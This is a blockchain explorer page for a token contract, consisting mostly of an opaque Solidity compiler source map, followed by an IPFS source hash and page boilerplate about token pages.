15;9276:16;:34;9244:8;:67::i;:::-;-1:-1:-1;9342:4:0;;8941:413;-1:-1:-1;;;8941:413:0:o;7733:175::-;7819:4;7836:42;5640:10;7860:9;7871:6;7836:9;:42::i;13978:182::-;6087:6;;-1:-1:-1;;;;;6087:6:0;5640:10;6149:23;6141:68;;;;-1:-1:-1;;;6141:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;14063:28:0;::::1;;::::0;;;:19:::1;:28;::::0;;;;;;;;:39;;-1:-1:-1;;14063:39:0::1;::::0;::::1;;::::0;;::::1;::::0;;;14118:34;;1163:41:1;;;14118:34:0::1;::::0;1136:18:1;14118:34:0::1;;;;;;;13978:182:::0;;:::o;13844:126::-;6087:6;;-1:-1:-1;;;;;6087:6:0;5640:10;6149:23;6141:68;;;;-1:-1:-1;;;6141:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;13925:30:0;;;::::1;;::::0;;;:22:::1;:30;::::0;;;;:37;;-1:-1:-1;;13925:37:0::1;::::0;::::1;;::::0;;;::::1;::::0;;13844:126::o;18650:104::-;6087:6;;-1:-1:-1;;;;;6087:6:0;5640:10;6149:23;6141:68;;;;-1:-1:-1;;;6141:68:0;;;;;;;:::i;:::-;18717:1:::1;18702:12;:16:::0;;;18729:13:::1;:17:::0;18650:104::o;6348:201::-;6087:6;;-1:-1:-1;;;;;6087:6:0;5640:10;6149:23;6141:68;;;;-1:-1:-1;;;6141:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6437:22:0;::::1;6429:73;;;::::0;-1:-1:-1;;;6429:73:0;;7547:2:1;6429:73:0::1;::::0;::::1;7529:21:1::0;7586:2;7566:18;;;7559:30;7625:34;7605:18;;;7598:62;-1:-1:-1;;;7676:18:1;;;7669:36;7722:19;;6429:73:0::1;7345:402:1::0;6429:73:0::1;6513:28;6532:8;6513:18;:28::i;:::-;6348:201:::0;:::o;11075:346::-;-1:-1:-1;;;;;11177:19:0;;11169:68;;;;-1:-1:-1;;;11169:68:0;;7954:2:1;11169:68:0;;;7936:21:1;7993:2;7973:18;;;7966:30;8032:34;8012:18;;;8005:62;-1:-1:-1;;;8083:18:1;;;8076:34;8127:19;;11169:68:0;7752:400:1;11169:68:0;-1:-1:-1;;;;;11256:21:0;;11248:68;;;;-1:-1:-1;;;11248:68:0;;8359:2:1;11248:68:0;;;8341:21:1;8398:2;8378:18;;;8371:30;8437:34;8417:18;;;8410:62;-1:-1:-1;;;8488:18:1;;;8481:32;8530:19;;11248:68:0;8157:398:1;11248:68:0;-1:-1:-1;;;;;11329:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;11381:32;;1595:25:1;;;11381:32:0;;1568:18:1;11381:32:0;;;;;;;11075:346;;;:::o;14768:2831::-;-1:-1:-1;;;;;14866:18:0;;14858:68;;;;-1:-1:-1;;;14858:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;14945:16:0;;14937:64;;;;-1:-1:-1;;;14937:64:0;;;;;;;:::i;:::-;15018:6;15028:1;15018:11;15014:93;;15046:28;15062:4;15068:2;15072:1;15046:15;:28::i;:::-;14768:2831;;;:::o;15014:93::-;15123:14;;;;15119:1056;;;6087:6;;-1:-1:-1;;;;;15158:15:0;;;6087:6;;15158:15;;;;:32;;-1:-1:-1;6087:6:0;;-1:-1:-1;;;;;15177:13:0;;;6087:6;;15177:13;;15158:32;:52;;;;-1:-1:-1;;;;;;15194:16:0;;;;15158:52;:77;;;;-1:-1:-1;;;;;;15214:21:0;;15228:6;15214:21;;15158:77;:90;;;;-1:-1:-1;15240:8:0;;-1:-1:-1;;;15240:8:0;;;;15239:9;15158:90;15154:1010;;;15274:13;;;;;;;15269:150;;-1:-1:-1;;;;;15320:25:0;;;;;;:19;:25;;;;;;;;;:52;;-1:-1:-1;;;;;;15349:23:0;;;;;;:19;:23;;;;;;;;15320:52;15312:87;;;;-1:-1:-1;;;15312:87:0;;9572:2:1;15312:87:0;;;9554:21:1;9611:2;9591:18;;;9584:30;-1:-1:-1;;;9630:18:1;;;9623:52;9692:18;;15312:87:0;9370:346:1;15312:87:0;-1:-1:-1;;;;;15471:31:0;;;;;;:25;:31;;;;;;;;:62;;;;-1:-1:-1;;;;;;15507:26:0;;;;;;:22;:26;;;;;;;;15506:27;15471:62;15467:682;;;15576:11;;15566:6;:21;;15558:78;;;;-1:-1:-1;;;15558:78:0;;9923:2:1;15558:78:0;;;9905:21:1;9962:2;9942:18;;;9935:30;10001:34;9981:18;;;9974:62;-1:-1:-1;;;10052:18:1;;;10045:42;10104:19;;15558:78:0;9721:408:1;15558:78:0;15693:15;;-1:-1:-1;;;;;7699:18:0;;7672:7;7699:18;;;;;;;;;;;15667:22;;:6;:22;:::i;:::-;:41;;15659:73;;;;-1:-1:-1;;;15659:73:0;;10336:2:1;15659:73:0;;;10318:21:1;10375:2;10355:18;;;10348:30;-1:-1:-1;;;10394:18:1;;;10387:49;10453:18;;15659:73:0;10134:343:1;15659:73:0;15467:682;;;-1:-1:-1;;;;;15808:29:0;;;;;;:25;:29;;;;;;;;:62;;;;-1:-1:-1;;;;;;15842:28:0;;;;;;:22;:28;;;;;;;;15841:29;15808:62;15804:345;;;15913:11;;15903:6;:21;;15895:79;;;;-1:-1:-1;;;15895:79:0;;10684:2:1;15895:79:0;;;10666:21:1;10723:2;10703:18;;;10696:30;10762:34;10742:18;;;10735:62;-1:-1:-1;;;10813:18:1;;;10806:43;10866:19;;15895:79:0;10482:409:1;15804:345:0;-1:-1:-1;;;;;16005:26:0;;;;;;:22;:26;;;;;;;;16000:149;;16090:15;;-1:-1:-1;;;;;7699:18:0;;7672:7;7699:18;;;;;;;;;;;16064:22;;:6;:22;:::i;:::-;:41;;16056:73;;;;-1:-1:-1;;;16056:73:0;;10336:2:1;16056:73:0;;;10318:21:1;10375:2;10355:18;;;10348:30;-1:-1:-1;;;10394:18:1;;;10387:49;10453:18;;16056:73:0;10134:343:1;16056:73:0;16236:4;16187:28;7699:18;;;;;;;;;;;16294:15;;16340:10;;16270:39;;;;;16340:10;;;;;:23;;;;-1:-1:-1;16355:8:0;;-1:-1:-1;;;16355:8:0;;;;16354:9;16340:23;:74;;;;-1:-1:-1;;;;;;16385:29:0;;;;;;:25;:29;;;;;;;;16340:74;:121;;;;-1:-1:-1;;;;;;16436:25:0;;;;;;:19;:25;;;;;;;;16435:26;16340:121;:149;;;;-1:-1:-1;;;;;;16466:23:0;;;;;;:19;:23;;;;;;;;16465:24;16340:149;16322:370;;;16517:8;:15;;-1:-1:-1;;;;16517:15:0;-1:-1:-1;;;16517:15:0;;;16549:29;;;;16562:16;:14;:16::i;:::-;16601:13;;16593:54;;-1:-1:-1;;;;;16601:13:0;;;;16625:21;16593:54;;;;;16601:13;16593:54;16601:13;16593:54;16625:21;16601:13;16593:54;;;;;;;;;;;;;;;;;;;;-1:-1:-1;16664:8:0;:16;;-1:-1:-1;;;;16664:16:0;;;16322:370;16720:8;;-1:-1:-1;;;;;16830:25:0;;16704:12;16830:25;;;:19;:25;;;;;;16720:8;-1:-1:-1;;;16720:8:0;;;;;16719:9;;16830:25;;:52;;-1:-1:-1;;;;;;16859:23:0;;;;;;:19;:23;;;;;;;;16830:52;16826:100;;;-1:-1:-1;16909:5:0;16826:100;16938:12;17043:7;17039:507;;;-1:-1:-1;;;;;17095:29:0;;;;;;:25;:29;;;;;;;;:50;;;;;17144:1;17128:13;;:17;17095:50;17091:306;;;17173:34;17203:3;17173:25;17184:13;;17173:6;:10;;:25;;;;:::i;:::-;:29;;:34::i;:::-;17166:41;;17091:306;;;-1:-1:-1;;;;;17269:31:0;;;;;;:25;:31;;;;;;;;:51;;;;;17319:1;17304:12;;:16;17269:51;17265:132;;;17348:33;17377:3;17348:24;17359:12;;17348:6;:10;;:24;;;;:::i;:33::-;17341:40;;17265:132;17417:8;;17413:91;;17446:42;17462:4;17476;17483;17446:15;:42::i;:::-;17520:14;17530:4;17520:14;;:::i;:::-;;;17039:507;17558:33;17574:4;17580:2;17584:6;17558:15;:33::i;:::-;14847:2752;;;;14768:2831;;;:::o;6557:191::-;6650:6;;;-1:-1:-1;;;;;6667:17:0;;;-1:-1:-1;;;;;;6667:17:0;;;;;;;6700:40;;6650:6;;;6667:17;6650:6;;6700:40;;6631:16;;6700:40;6620:128;6557:191;:::o;14572:188::-;-1:-1:-1;;;;;14655:31:0;;;;;;:25;:31;;;;;;:39;;-1:-1:-1;;14655:39:0;;;;;;;;;;14712:40;;14655:39;;:31;14712:40;;;14572:188;;:::o;9362:699::-;-1:-1:-1;;;;;9468:20:0;;9460:70;;;;-1:-1:-1;;;9460:70:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;9549:23:0;;9541:71;;;;-1:-1:-1;;;9541:71:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;9709:17:0;;9685:21;9709:17;;;;;;;;;;;9745:23;;;;9737:74;;;;-1:-1:-1;;;9737:74:0;;11231:2:1;9737:74:0;;;11213:21:1;11270:2;11250:18;;;11243:30;11309:34;11289:18;;;11282:62;-1:-1:-1;;;11360:18:1;;;11353:36;11406:19;;9737:74:0;11029:402:1;9737:74:0;-1:-1:-1;;;;;9847:17:0;;;:9;:17;;;;;;;;;;;9867:22;;;9847:42;;9911:20;;;;;;;;:30;;9883:6;;9847:9;9911:30;;9883:6;;9911:30;:::i;:::-;;;;;;;;9976:9;-1:-1:-1;;;;;9959:35:0;9968:6;-1:-1:-1;;;;;9959:35:0;;9987:6;9959:35;;;;1595:25:1;;1583:2;1568:18;;1449:177;9959:35:0;;;;;;;;9449:612;9362:699;;;:::o;18204:438::-;18293:4;18249:23;7699:18;;;;;;;;;;;;18316:20;;;18312:59;;18353:7;18204:438::o;18312:59::-;18405:13;;18387:15;:31;18383:95;;;-1:-1:-1;18453:13:0;;18383:95;18570:15;18598:36;18570:15;18598:16;:36::i;3654:98::-;3712:7;3739:5;3743:1;3739;:5;:::i;:::-;3732:12;3654:98;-1:-1:-1;;;3654:98:0:o;3760:::-;3818:7;3845:5;3849:1;3845;:5;:::i;17607:589::-;17757:16;;;17771:1;17757:16;;;;;;;;17733:21;;17757:16;;;;;;;;;;-1:-1:-1;17757:16:0;17733:40;;17802:4;17784;17789:1;17784:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;17784:23:0;;;-1:-1:-1;;;;;17784:23:0;;;;;17828:15;-1:-1:-1;;;;;17828:20:0;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;17818:4;17823:1;17818:7;;;;;;;;:::i;:::-;;;;;;:32;-1:-1:-1;;;;;17818:32:0;;;-1:-1:-1;;;;;17818:32:0;;;;;17863:62;17880:4;17895:15;17913:11;17863:8;:62::i;:::-;17964:224;;-1:-1:-1;;;17964:224:0;;-1:-1:-1;;;;;17964:15:0;:66;;;;:224;;18045:11;;18071:1;;18115:4;;18142;;18162:15;;17964:224;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17662:534;17607:589;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2281:118::-;2367:5;2360:13;2353:21;2346:5;2343:32;2333:60;;2389:1;2386;2379:12;2404:382;2469:6;2477;2530:2;2518:9;2509:7;2505:23;2501:32;2498:52;;;2546:1;2543;2536:12;2498:52;2585:9;2572:23;2604:31;2629:5;2604:31;:::i;:::-;2654:5;-1:-1:-1;2711:2:1;2696:18;;2683:32;2724:30;2683:32;2724:30;:::i;:::-;2773:7;2763:17;;;2404:382;;;;;:::o;2999:247::-;3058:6;3111:2;3099:9;3090:7;3086:23;3082:32;3079:52;;;3127:1;3124;3117:12;3079:52;3166:9;3153:23;3185:31;3210:5;3185:31;:::i;3251:388::-;3319:6;3327;3380:2;3368:9;3359:7;3355:23;3351:32;3348:52;;;3396:1;3393;3386:12;3348:52;3435:9;3422:23;3454:31;3479:5;3454:31;:::i;:::-;3504:5;-1:-1:-1;3561:2:1;3546:18;;3533:32;3574:33;3533:32;3574:33;:::i;3644:380::-;3723:1;3719:12;;;;3766;;;3787:61;;3841:4;3833:6;3829:17;3819:27;;3787:61;3894:2;3886:6;3883:14;3863:18;3860:38;3857:161;;3940:10;3935:3;3931:20;3928:1;3921:31;3975:4;3972:1;3965:15;4003:4;4000:1;3993:15;3857:161;;3644:380;;;:::o;4438:127::-;4499:10;4494:3;4490:20;4487:1;4480:31;4530:4;4527:1;4520:15;4554:4;4551:1;4544:15;4570:125;4635:9;;;4656:10;;;4653:36;;;4669:18;;:::i;4700:356::-;4902:2;4884:21;;;4921:18;;;4914:30;4980:34;4975:2;4960:18;;4953:62;5047:2;5032:18;;4700:356::o;5673:306::-;5761:6;5769;5777;5830:2;5818:9;5809:7;5805:23;5801:32;5798:52;;;5846:1;5843;5836:12;5798:52;5875:9;5869:16;5859:26;;5925:2;5914:9;5910:18;5904:25;5894:35;;5969:2;5958:9;5954:18;5948:25;5938:35;;5673:306;;;;;:::o;6263:245::-;6330:6;6383:2;6371:9;6362:7;6358:23;6354:32;6351:52;;;6399:1;6396;6389:12;6351:52;6431:9;6425:16;6450:28;6472:5;6450:28;:::i;8560:401::-;8762:2;8744:21;;;8801:2;8781:18;;;8774:30;8840:34;8835:2;8820:18;;8813:62;-1:-1:-1;;;8906:2:1;8891:18;;8884:35;8951:3;8936:19;;8560:401::o;8966:399::-;9168:2;9150:21;;;9207:2;9187:18;;;9180:30;9246:34;9241:2;9226:18;;9219:62;-1:-1:-1;;;9312:2:1;9297:18;;9290:33;9355:3;9340:19;;8966:399::o;10896:128::-;10963:9;;;10984:11;;;10981:37;;;10998:18;;:::i;11436:168::-;11509:9;;;11540;;11557:15;;;11551:22;;11537:37;11527:71;;11578:18;;:::i;11609:217::-;11649:1;11675;11665:132;;11719:10;11714:3;11710:20;11707:1;11700:31;11754:4;11751:1;11744:15;11782:4;11779:1;11772:15;11665:132;-1:-1:-1;11811:9:1;;11609:217::o;11963:127::-;12024:10;12019:3;12015:20;12012:1;12005:31;12055:4;12052:1;12045:15;12079:4;12076:1;12069:15;12095:251;12165:6;12218:2;12206:9;12197:7;12193:23;12189:32;12186:52;;;12234:1;12231;12224:12;12186:52;12266:9;12260:16;12285:31;12310:5;12285:31;:::i;12351:980::-;12613:4;12661:3;12650:9;12646:19;12692:6;12681:9;12674:25;12718:2;12756:6;12751:2;12740:9;12736:18;12729:34;12799:3;12794:2;12783:9;12779:18;12772:31;12823:6;12858;12852:13;12889:6;12881;12874:22;12927:3;12916:9;12912:19;12905:26;;12966:2;12958:6;12954:15;12940:29;;12987:1;12997:195;13011:6;13008:1;13005:13;12997:195;;;13076:13;;-1:-1:-1;;;;;13072:39:1;13060:52;;13167:15;;;;13132:12;;;;13108:1;13026:9;12997:195;;;-1:-1:-1;;;;;;;13248:32:1;;;;13243:2;13228:18;;13221:60;-1:-1:-1;;;13312:3:1;13297:19;13290:35;13209:3;12351:980;-1:-1:-1;;;12351:980:1:o

Swarm Source

ipfs://db0309f985155579700491cac71ea6db49ba07357b17eb43f5fdb950dba2c4b5
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.